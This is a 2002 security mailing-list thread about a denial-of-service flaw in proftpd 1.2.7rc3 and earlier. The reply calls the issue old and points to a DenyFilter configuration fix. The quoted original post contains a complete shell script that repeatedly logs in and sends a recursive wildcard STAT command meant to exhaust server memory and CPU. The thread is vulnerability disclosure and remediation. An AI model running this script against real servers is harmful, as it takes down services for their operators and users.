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Re: proftpd <=1.2.7rc3 DoS
From: "Kurt Seifried" <listuser () seifried org>
Date: Tue, 10 Dec 2002 11:44:38 -0800
This is so old I can't even find any postings/articles I remember making on it. Here is one link from early last year: http://lwn.net/2001/0322/a/proftpd-dos.php3 Check the documentation: DenyFilter \*.*/ Problem solved. People should search Google before posting, it's far less embaressing. Kurt Seifried, kurt () seifried org A15B BEE5 B391 B9AD B0EF AEB0 AD63 0B4E AD56 E574 http://seifried.org/security/ ----- Original Message ----- From: "Rob klein Gunnewiek" <rmkleing () hio hen nl> To: <bugtraq () securityfocus com>; <vulnwatch () vulnwatch org> Sent: Sunday, December 08, 2002 4:53 AM Subject: [VulnWatch] proftpd <=1.2.7rc3 DoS
Hello, proftpd is vulnerable to denial of service similar to the list */../*/../*/../*. #!/bin/sh # # proftpd <=1.2.7rc3 DoS - Requires anonymous/ftp login at least # might work against many other FTP daemons # consumes nearly all memory and alot of CPU # # tested against slackware 8.1 - proftpd 1.2.4 and 1.2.7rc3 # # 7-dec-02 - detach - www.duho.org # # use: ./prodos.sh <host> <user> <pass> # do this some more to make sure the system eventually dies cnt=25 while [ $cnt -gt 0 ] ; do ftp -n << EOF& o $1 quote user $2 quote pass $3 quote stat /*/*/*/*/*/*/* quit EOF let cnt=cnt-1 done sleep 2 killall -9 ftp echo DONE! #end
Current thread:
- proftpd <=1.2.7rc3 DoS Rob klein Gunnewiek (Dec 10)
- Re: proftpd <=1.2.7rc3 DoS Kurt Seifried (Dec 10)